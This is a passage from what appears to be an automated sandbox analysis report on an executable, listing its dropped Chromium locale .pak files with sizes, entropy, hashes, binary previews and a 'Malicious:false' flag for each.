                                                                                                                                                                                                                                                Size (bytes):396104
                                                                                                                                                                                                                                                Entropy (8bit):5.454826678090317
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:Q3rSn4RJ28687mlwlGXaJwZkqEb1Phv6VP5yarXGzOJixhd4/TWwS:eND/xqkqEO5nrFTq
                                                                                                                                                                                                                                                MD5:1A53D374B9C37F795A462AAC7A3F118F
                                                                                                                                                                                                                                                SHA1:154BE9CF05042ECED098A20FF52FA174798E1FEA
                                                                                                                                                                                                                                                SHA-256:D0C38EB889EE27D81183A0535762D8EF314F0FDEB90CCCA9176A0CE9AB09B820
                                                                                                                                                                                                                                                SHA-512:395279C9246BD30A0E45D775D9F9C36353BD11D9463282661C2ABD876BDB53BE9C9B617BB0C2186592CD154E9353EA39E3FEED6B21A07B6850AB8ECD57E1ED29
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........[...h.....i.)...j.5...k.D...l.O...n.W...o.\...p.i...r.o...s.....t.....v.....w.....y.....z.....|.....}.........................................................................?.....M.....].....q.....y...........................................................4.....K.....R.....].....m.....t...........................................................5.....F.....u.............................................................................9.....T.....m.....w.....z................................................................./.....E.....k.............................................................................+.....2.....5.....6.....=.....F.....L.....S.....^.............................X.....n.......................................................................F.....[................................................... .....".....%.,...(.T...*.....+.....,.........../.....0.....1.....3.....4.%...5.=...6.o...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.%...C.B...D.L.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\de.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):424277
                                                                                                                                                                                                                                                Entropy (8bit):5.503137231857292
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:TFigju3qg4wajEzUKnYm31SOmhqYl51gHNiOIkCJD:TFiecqg1aqHSOu599kCJD
                                                                                                                                                                                                                                                MD5:8E6654B89ED4C1DC02E1E2D06764805A
                                                                                                                                                                                                                                                SHA1:FF660BC85BB4A0FA3B2637050D2B2D1AECC37AD8
                                                                                                                                                                                                                                                SHA-256:61CBCE9A31858DDF70CC9B0C05FB09CE7032BFB8368A77533521722465C57475
                                                                                                                                                                                                                                                SHA-512:5AC71EDA16F07F3F2B939891EDA2969C443440350FD88AB3A9B3180B8B1A3ECB11E79E752CF201F21B3DBFBA00BCC2E4F796F347E6137A165C081E86D970EE61
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:............h.V...i.g...j.s...k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.............#.....+.....3.....;.....B.....I.....P.....Q.....R.....T...........................................................$.....:.....<.....@.....h.....}.....................................................-.....Q.....d.....j.....s...............................................4.....K.....O.....R.....[.....t...................................D.....Q.....[.....c.....j.....p.....}...............................................0.....d.................................................................6.....O.....i.....p.....s.....t.....~...................................=...................................6.....?.....Q.....[.....h.....m.....r...................................(.....Y.....u.....{........................... .....".....%.....(.....*./...+.2...,.P.....a.../.w...0.....1.....3.....4.....5.....6.A...7.U...8.i...9.w...;.....<.....=.....>.....?.....@.....A.....C.....D.%.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\el.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):769050
                                                                                                                                                                                                                                                Entropy (8bit):4.75072843480339
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:H/58dBquNw2202pgtZSWjZ4LIbsJvaP5A3HKQiEQBR07391qf2utKMaBlS9WffFR:H8BquNw2202pgtsWjyLrJvaRA3HtiEQG
                                                                                                                                                                                                                                                MD5:9528D21E8A3F5BAD7CA273999012EBE8
                                                                                                                                                                                                                                                SHA1:58CD673CE472F3F2F961CF8B69B0C8B8C01D457C
                                                                                                                                                                                                                                                SHA-256:E79C1E7A47250D88581E8E3BAF78DCAF31FE660B74A1E015BE0F4BAFDFD63E12
                                                                                                                                                                                                                                                SHA-512:165822C49CE0BDB82F3C3221E6725DAC70F53CFDAD722407A508FA29605BC669FB5E5070F825F02D830E0487B28925644438305372A366A3D60B55DA039633D7
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........M...h.....i.....j.....k.....l.(...n.0...o.5...p.B...r.H...s.Y...t.b...v.w...w.....y.....z.....|.....}.........................................................................P.....w.............................B.....N.....Z...................................+.....x...................................h.....y.............................&.....C.....a.................,.....4.....H.....o...................................!.....M.................8...............................................1....._.....w.................!.....2.....q.................J.....a.........................................,.....O.....|.........................................!.....3.....F.....^.......................,.................<.............................(.....;.....I.......................M.................T.................................../... .B...".e...%.....(.....*.7...+.:...,.X........./.....0.....1.m...3.....4.....5.#...6.....7.....8.....9. ...;.a...<.w...=.....>.....?.....@.....A.B...C...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\en-GB.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):344606
                                                                                                                                                                                                                                                Entropy (8bit):5.5169703217013675
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:80kjE55JcUnMP9egFXwqfaYnT9Xa5alSeBNdg:80kQJZnM1XwWT05YScg
                                                                                                                                                                                                                                                MD5:D59E613E8F17BDAFD00E0E31E1520D1F
                                                                                                                                                                                                                                                SHA1:529017D57C4EFED1D768AB52E5A2BC929FDFB97C
                                                                                                                                                                                                                                                SHA-256:90E585F101CF0BB77091A9A9A28812694CEE708421CE4908302BBD1BC24AC6FD
                                                                                                                                                                                                                                                SHA-512:29FF3D42E5D0229F3F17BC0ED6576C147D5C61CE2BD9A2E658A222B75D993230DE3CE35CA6B06F5AFA9EA44CFC67817A30A87F4FAF8DC3A5C883B6EE30F87210
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:..........h.h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.(...v.=...w.J...y.P...z._...|.e...}.w...........................................................................................................3.....;.....E.....c.....t.....v.....z...........................................................+.....:.....T.....g.....k.....q...................................................................................,.....:.....S.....h.....{.......................................................................+.....5.....A.....X.....h.................................................................(.....=.....R.....f.....m.....p.....q.....x..................................................... .....P.....].....h.......................................................................-.....D.....l....................................... .....".....%.....(.....*.....+.....,./.....@.../.N...0.W...1.....3.....4.....5.....6.....7.....8.....9.(...;.9...<.A...=.L...>.a...?.i...@.x...A...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\en-US.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):347111
                                                                                                                                                                                                                                                Entropy (8bit):5.508989875739037
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:xiLqIY2MuZYLMMP9ecGmM8faYdY4K55TiSbn8vMwS:xiLqIp34MM+mM0Y55eSKMwS
                                                                                                                                                                                                                                                MD5:5E3813E616A101E4A169B05F40879A62
                                                                                                                                                                                                                                                SHA1:615E4D94F69625DDA81DFAEC7F14E9EE320A2884
                                                                                                                                                                                                                                                SHA-256:4D207C5C202C19C4DACA3FDDB2AE4F747F943A8FAF86A947EEF580E2F2AEE687
                                                                                                                                                                                                                                                SHA-512:764A271A9CFB674CCE41EE7AED0AD75F640CE869EFD3C865D1B2D046C9638F4E8D9863A386EBA098F5DCEDD20EA98BAD8BCA158B68EB4BDD606D683F31227594
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:..........:.h.....i.....j.*...k.9...l.D...n.L...o.Q...p.^...r.d...s.u...t.~...v.....w.....y.....z.....|.....}.........................................................................6.....C.....R.....b.....i.....r.................................................................#...........>.....E.....Q.....l.....~.................................................................2.....:.....F.....S.....W.....Z.....`.....p...................................................................................:.....A.....P...........................................................'.....5.....H.....K.....\.....l.....|...................................................................................E.....m.....t.......................................................................0.....I.....m......................................................... .....".....%.3...(.J...*.c...+.f...,.........../.....0.....1.....3.....4.....5.....6.J...7.Z...8.o...9.|...;.....<.....=.....>.....?.....@.....A...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\es-419.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):421147
                                                                                                                                                                                                                                                Entropy (8bit):5.3798866108688905
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:34e5fql0vt1s9zjzVMY/6+yN9d8piKkGp2Ioiw/QbuOXV5blUB0GLF96RRIHKxgY:34e5Sktm92Yfhpjq+5wLF96oSdc4
                                                                                                                                                                                                                                                MD5:7F6696CC1E71F84D9EC24E9DC7BD6345
                                                                                                                                                                                                                                                SHA1:36C1C44404EE48FC742B79173F2C7699E1E0301F
                                                                                                                                                                                                                                                SHA-256:D1F17508F3A0106848C48A240D49A943130B14BD0FEB5ED7AE89605C7B7017D1
                                                                                                                                                                                                                                                SHA-512:B226F94F00978F87B7915004A13CDBD23DE2401A8AFAA2517498538967DF89B735F8ECC46870C92E3022CAC795218A60AD2B8FFF1EFAD9FEEA4EC193704A568A
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........b...h.&...i./...j.;...k.J...l.U...n.]...o.b...p.o...r.u...s.....t.....v.....w.....y.....z.....|.....}.........................................................................B.....T.....c.....x.................................................................I.....c.....k.....y............................................... .....%.....-.....?.....c.....t...........................................................2.....M.....d...............................................#.....6.....E.....W.....o.....w.........................................B.....N.....a.....m...........................................................$.....'.....(.....1.....:.....C.....J.....[.................2.....:.........................................+.....6.....?.....D.....]...................................@.....Y....._.....g.....u............... .....".....%.....(.....*.....+.....,.<.....b.../.....0.....1.....3.....4.....5.....6.[...7.m...8.....9.....;.....<.....=.....>.....?.....@.....A.1...C.X...D.b.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\es.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):421332
                                                                                                                                                                                                                                                Entropy (8bit):5.349883254359391
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:fILAyMcQXU0+/3IgsC5pN+v6Idj3J5Orj7FQoz7L66PZqS:ALAyNQCsupUv6gj3J5OrmoznGS
                                                                                                                                                                                                                                                MD5:A36992D320A88002697DA97CD6A4F251
                                                                                                                                                                                                                                                SHA1:C1F88F391A40CCF2B8A7B5689320C63D6D42935F
                                                                                                                                                                                                                                                SHA-256:C5566B661675B613D69A507CBF98768BC6305B80E6893DC59651A4BE4263F39D
                                                                                                                                                                                                                                                SHA-512:9719709229A4E8F63247B3EFE004ECFEB5127F5A885234A5F78EE2B368F9E6C44EB68A071E26086E02AA0E61798B7E7B9311D35725D3409FFC0E740F3AA3B9B5
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........Z...h.....i.....j.*...k.9...l.D...n.L...o.Q...p.^...r.d...s.u...t.~...v.....w.....y.....z.....|.....}.........................................................................:.....M.....].....r...........................................................(.....G.....a.....i.....w.....................................................!.....).....;.....N....._.................................................................3.....S.....}............................................... .....-.....>.....V.....^.....o...................................5.....@.....J.....V.....h.............................................................................'.....0.....7.....H.................3.....;.........................................+.....6.....B.....G....._.........................................G.....M.....U.....c............... .....".....%.....(.....*.....+.....,.).....C.../.]...0.d...1.....3.....4.....5.....6.6...7.G...8.\...9.n...;.....<.....=.....>.....?.....@.....A.....C.1...D.;.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\et.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):380687
                                                                                                                                                                                                                                                Entropy (8bit):5.464870724176939
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:2Mg++J/xRN0JLnrC4HFJbT/RauiQ/G5LjR43f7LQkPQW:2MmJnq7DG5LjQ
                                                                                                                                                                                                                                                MD5:A94E1775F91EA8622F82AE5AB5BA6765
                                                                                                                                                                                                                                                SHA1:FF17ACCDD83AC7FCC630E9141E9114DA7DE16FDB
                                                                                                                                                                                                                                                SHA-256:1606B94AEF97047863481928624214B7E0EC2F1E34EC48A117965B928E009163
                                                                                                                                                                                                                                                SHA-512:A2575D2BD50494310E8EF9C77D6C1749420DFBE17A91D724984DF025C47601976AF7D971ECAE988C99723D53F240E1A6B3B7650A17F3B845E3DAEEFAAF9FE9B9
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........m...h.<...i.M...j.Y...k.h...l.s...n.{...o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...............................!.....(...../.....6.....7.....8.....:.....l.....|...............................................,.....B.....D.....H.....p.................................................................5.....B.....H.....P.....^.....m.....v.......................................................................-.....F.....Z.....o.......................................................................0.....=.....W.....e.................................................................-.....B.....V.....m.....t.....w.....x...............................................U.....[...............................................$.....).....,.....<.....b.....x.........................................$.....6.....O.....Z... .d...".w...%.....(.....*.....+.....,....... .../.8...0.E...1.n...3.y...4.....5.....6.....7.....8.....9.+...;.>...<.K...=.T...>.g...?.o...@.~...A.....C.....D...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\fa.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):622184
                                                                                                                                                                                                                                                Entropy (8bit):5.029655615738747
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:Kxw5iX9nuyaXTfwHxwNUWGOGfStQEvy1zeItDmNtua/1wMTAKzIxRAQiHedNu36/:Kxw5YuyaXTfwRwNUWGOGfStQEvy1zeIR
                                                                                                                                                                                                                                                MD5:9D273AF70EAFD1B5D41F157DBFB94FDC
                                                                                                                                                                                                                                                SHA1:DA98BDE34B59976D4514FF518BD977A713EA4F2E
                                                                                                                                                                                                                                                SHA-256:319D1E20150D4E3F496309BA82FCE850E91378EE4B0C7119A003A510B14F878B
                                                                                                                                                                                                                                                SHA-512:0A892071BEA92CC7F1A914654BC4F9DA6B9C08E3CB29BB41E9094F6120DDC7A08A257C0D2B475C98E7CDCF604830E582CF2A538CC184056207F196FFC43F29AD
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:............h.z...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|."...}.4.....<.....A.....I.....Q.....Y.....`.....g.....n.....p.....u.............................,.....5.....].....k.....u...................................A.....p.....v...................................E.....`.........................................T.....y.....................................................8.....W.......................+.....F.....N.....V.....].....g.....x.............................+.....B....._.............................3.....B.....\.....r.........................................-.....J.....Q.....T.....e.....v.....................................................s............................./.....7.....J.....V.....b.......................$.....J.....w...................................G.....Z... .m...".....%.....(.....*.(...+.+...,.I.....m.../.....0.....1.....3.....4.+...5._...6.....7.....8.....9.G...;.W...<.i...=.}...>.....?.....@.....A.....C.V...D.}...E...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\fi.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):389118
                                                                                                                                                                                                                                                Entropy (8bit):5.427253181023048
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:nEbM+RtZ9eC6cMkohGZxGseSFOE/xaWEkLl5W5ucHiEi18OWUcrOShPGNgX1wL2:V+/upPgZxaS5W5xHiEi18OWUsU2
                                                                                                                                                                                                                                                MD5:D4B776267EFEBDCB279162C213F3DB22
                                                                                                                                                                                                                                                SHA1:7236108AF9E293C8341C17539AA3F0751000860A
                                                                                                                                                                                                                                                SHA-256:297E3647EAF9B3B95CF833D88239919E371E74CC345A2E48A5033EBE477CD54E
                                                                                                                                                                                                                                                SHA-512:1DC7D966D12E0104AACB300FD4E94A88587A347DB35AD2327A046EF833FB354FD9CBE31720B6476DB6C01CFCB90B4B98CE3CD995E816210B1438A13006624E8F
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:............h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.(...|.....}.@.....H.....M.....U.....].....e.....l.....s.....z.....{.....|...........................................................$....._.....x.....z.....~.....................................................7.....E.....R.....f.....v.....|...........................................................".....,.....2.....Q.....j.................................................................&.....3.....H.....N.....V...............................................!.....-.....>.....O.....R.....`.....r.............................................................................9.............................,.....?.....h.....w...........................................................5.....X............................................. .....".....%.....(.3...*.S...+.V...,.t........./.....0.....1.....3.....4.....5.6...6.p...7.....8.....9.....;.....<.....=.....>.....?.#...@.B...A.z...C.....D.....E...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\fil.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):438088
                                                                                                                                                                                                                                                Entropy (8bit):5.195613019166525
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:2zHaVyEDQV5aZrU+5xeuhGjZ3ZmA58Pm+7JATvy8:2zNMdU4XA5Imb
                                                                                                                                                                                                                                                MD5:3165351C55E3408EAA7B661FA9DC8924
                                                                                                                                                                                                                                                SHA1:181BEE2A96D2F43D740B865F7E39A1BA06E2CA2B
                                                                                                                                                                                                                                                SHA-256:2630A9D5912C8EF023154C6A6FB5C56FAF610E1E960AF66ABEF533AF19B90CAA
                                                                                                                                                                                                                                                SHA-512:3B1944EA3CFCBE98D4CE390EA3A8FF1F6730EB8054E282869308EFE91A9DDCD118290568C1FC83BD80E8951C4E70A451E984C27B400F2BDE8053EA25B9620655
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:..........].h.....i.....j.....k.....l.....n.....o.....p.&...r.,...s.=...t.F...v.[...w.h...y.n...z.}...|.....}...........................................................................................5.....<.....E.....d.....l.....y...................................................../.....E.....O.....^.....................................................".....8.......................................................................%.....J.....d.....~.................................................................+.....h.....q.....}...................................&.....4.....I.....o.....r................................................................. .....*.....5.....>.....O.................(.....0.................................................................,.....R.....l.............................6.....=.....H.....Y............... .....".....%.....(.....*.....+.....,.*.....B.../.W...0.`...1.....3.....4.....5.....6.....7.3...8.O...9.d...;.}...<.....=.....>.....?.....@.....A...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\fr.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):454982
                                                                                                                                                                                                                                                Entropy (8bit):5.385096169417585
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:07bju28t6QuagV1ZztzYpZ4MYnYM/LDBW5Mx0q20wCbKZL3wfzkCh1f/5FEs6rYr:6JVzbf55Z
                                                                                                                                                                                                                                                MD5:0BF28AFF31E8887E27C4CD96D3069816
                                                                                                                                                                                                                                                SHA1:B5313CF6B5FBCE7E97E32727A3FAE58B0F2F5E97
                                                                                                                                                                                                                                                SHA-256:2E1D413442DEF9CAE2D93612E3FD04F3AFAF3DD61E4ED7F86400D320AF5500C2
                                                                                                                                                                                                                                                SHA-512:95172B3B1153B31FCEB4B53681635A881457723CD1000562463D2F24712267B209B3588C085B89C985476C82D9C27319CB6378619889379DA4FAE1595CB11992
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........>...h.....i.....j.....k.....l.....n.....o."...p./...r.5...s.F...t.O...v.d...w.q...y.w...z.....|.....}...........................................................................................1.....<.....E.....g.....s.....{.....................................................+.....<.....I.....W..............................................."...........j.......................................................................,.....M.....p.......................................................................T.....b.....l.........................................+.....:.....R.....U.....l...................................................................................[.......................$.....9.....N.................................................................X.........................................$.....E.....O... .[...".t...%.....(.....*.....+.....,.........../.#...0.1...1.n...3.....4.....5.....6.....7.....8.4...9.J...;.]...<.k...=.}...>.....?.....@.....A.....C.(...D.:.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\gu.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):879149
                                                                                                                                                                                                                                                Entropy (8bit):4.32399215971305
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:Xz2UMY57hmdUoITsKMaWZKerbtsMhmksd4M+0+z20QmuOAl5VpvoxWnhygfZw/gQ:D2UMY57h9w4MSbsp5cLhdKE8
                                                                                                                                                                                                                                                MD5:7B5F52F72D3A93F76337D5CF3168EBD1
                                                                                                                                                                                                                                                SHA1:00D444B5A7F73F566E98ABADF867E6BB27433091
                                                                                                                                                                                                                                                SHA-256:798EA5D88A57D1D78FA518BF35C5098CBEB1453D2CB02EF98CD26CF85D927707
                                                                                                                                                                                                                                                SHA-512:10C6F4FAAB8CCB930228C1D9302472D0752BE19AF068EC5917249675B40F22AB24C3E29EC3264062826113B966C401046CFF70D91E7E05D8AADCC0B4E07FEC9B
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........N...h.....i.....j.$...k.3...l.>...n.F...o.K...p.X...r.^...s.o...t.x...v.....w.....y.....z.....|.....}.............................................................................................................T.....l.................'.....).....5.....].......................4.....S.....i.............................l.................................................................'.....k.....t.....w.............................a.................;.....[.....n.....v.....}.......................+.....:.....f.......................X.....y...........].....s...................................6.....X.....w...............................................-.....L.....c....................... .....B.................Q.............................3.....?.....K.....}...................................o.............................3.....[... .a...".....%.....(.....*.g...+.j...,.........../.....0.....1.~...3.....4.....5.....6.[...7.....8.....9.....;.Q...<.h...=.....>.....?.....@.....A.D...C...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\he.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):544193
                                                                                                                                                                                                                                                Entropy (8bit):4.6265566170608325
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:DczykRrlOUmTU2/S9iyBZ60DAf1X2VeQCap4M52QoLpMzu5flmd9DnwWHQgZ:+F55VoQ
                                                                                                                                                                                                                                                MD5:6D787DC113ADFB6A539674AF7D6195DB
                                                                                                                                                                                                                                                SHA1:F966461049D54C61CDD1E48EF1EA0D3330177768
                                                                                                                                                                                                                                                SHA-256:A976FAD1CC4EB29709018C5FFCC310793A7CEB2E69C806454717CCAE9CBC4D21
                                                                                                                                                                                                                                                SHA-512:6748DAD2813FC544B50DDEA0481B5ACE3EB5055FB2D985CA357403D3B799618D051051B560C4151492928D6D40FCE9BB33B167217C020BDCC3ED4CAE58F6B676
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........)...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.%...v.:...w.G...y.M...z.\...|.b...}.t.....|.............................................................................2.....K.....^.....w.....................................................4.....O.....f.....y.............................%.....:....._.....r.....z...................................9.....A.....K.....g...............................................C.....m............................................... .....<.....d.....n...................................2.....}...................................!.....$.....7.....N.....a.....y................................................................._.........../.....9.............................".....:.....@.....L.....].....e.............................$....._............................................. .1...".L...%.}...(.....*.....+.....,.........../.....0.....1.W...3.l...4.....5.....6.....7.....8.1...9.E...;.Z...<.t...=.....>.....?.....@.....A.B...C.u.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\hi.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):921748
                                                                                                                                                                                                                                                Entropy (8bit):4.3093889077968495
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:zGFGsUtYgPLdROwJgdkFSvf4QAEm5dmGhsYK/GR3TX4/NMdpqdYnLsuFQdXPtg8y:zGEAgT/Zu5J57JtK
                                                                                                                                                                                                                                                MD5:1766A05BE4DC634B3321B5B8A142C671
                                                                                                                                                                                                                                                SHA1:B959BCADC3724AE28B5FE141F3B497F51D1E28CF
                                                                                                                                                                                                                                                SHA-256:0EEE8E751B5B0AF1E226106BEB09477634F9F80774FF30894C0F5A12B925AC35
                                                                                                                                                                                                                                                SHA-512:FAEC1D6166133674A56B5E38A68F9E235155CC910B5CCEB3985981B123CC29EDA4CD60B9313AB787EC0A8F73BF715299D9BF068E4D52B766A7AB8808BD146A39
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........"...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.,...w.9...y.?...z.N...|.T...}.f.....n.....s.....{.....................................................6.....X.....}.............................&.....@...................................%.....S.....y.......................&.............................Z.....j.....................................................2.....n.....w.....z.......................A.................).....o..............................................._.....n.................7.....T...............................................$.....n.....q............................./.....b.....i.....l.....n.........................................R...................................Z.....z...................................5.................q.................\...................................0... .K...".k...%.....(.....*.2...+.5...,.S........./.....0.....1.p...3.....4.....5.....6._...7.....8.....9.....;.^...<.r...=.....>.....?.....@.....A.;...C...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\hr.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):423481
                                                                                                                                                                                                                                                Entropy (8bit):5.516218200944141
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:yL0fCmEZW/FhjNmvgVRTKBOS+/6ocIG0uPXuyAF6WI6DkYAiKbeM/ogQbn7xjemW:QYCmNLjN3pV5v5tE77ORS
                                                                                                                                                                                                                                                MD5:8F9498D18D90477AD24EA01A97370B08
                                                                                                                                                                                                                                                SHA1:3868791B549FC7369AB90CD27684F129EBD628BE
                                                                                                                                                                                                                                                SHA-256:846943F77A425F3885689DCF12D62951C5B7646E68EADC533B8B5C2A1373F02E
                                                                                                                                                                                                                                                SHA-512:3C66A84592DEBE522F26C48B55C04198AD8A16C0DCFA05816825656C76C1C6CCCF5767B009F20ECB77D5A589EE44B0A0011EC197FEC720168A6C72C71EBF77FD
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........h...h.2...i.C...j.O...k.^...l.i...n.q...o.v...p.....r.....s.....t.....v.....w.....y.....z.....|.....}...........................................%.....,.....-...........0.....Y.....e.....q.................................................................A.....T.....p.....x...........................................................".....*.....8.....G.....X.............................................................................%.....B.....c.......................................................................G.....U.....a.....w.............................................../.....2.....B.....S.....f.....|.................................................................(.....g.............................8.....l.....{.....................................................I.....h................................................... .....".0...%.U...(.r...*.....+.....,.........../.....0.....1.....3.)...4.F...5.d...6.....7.....8.....9.....;.....<.....=.....>.4...?.=...@.N...A.....C...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\hu.pak

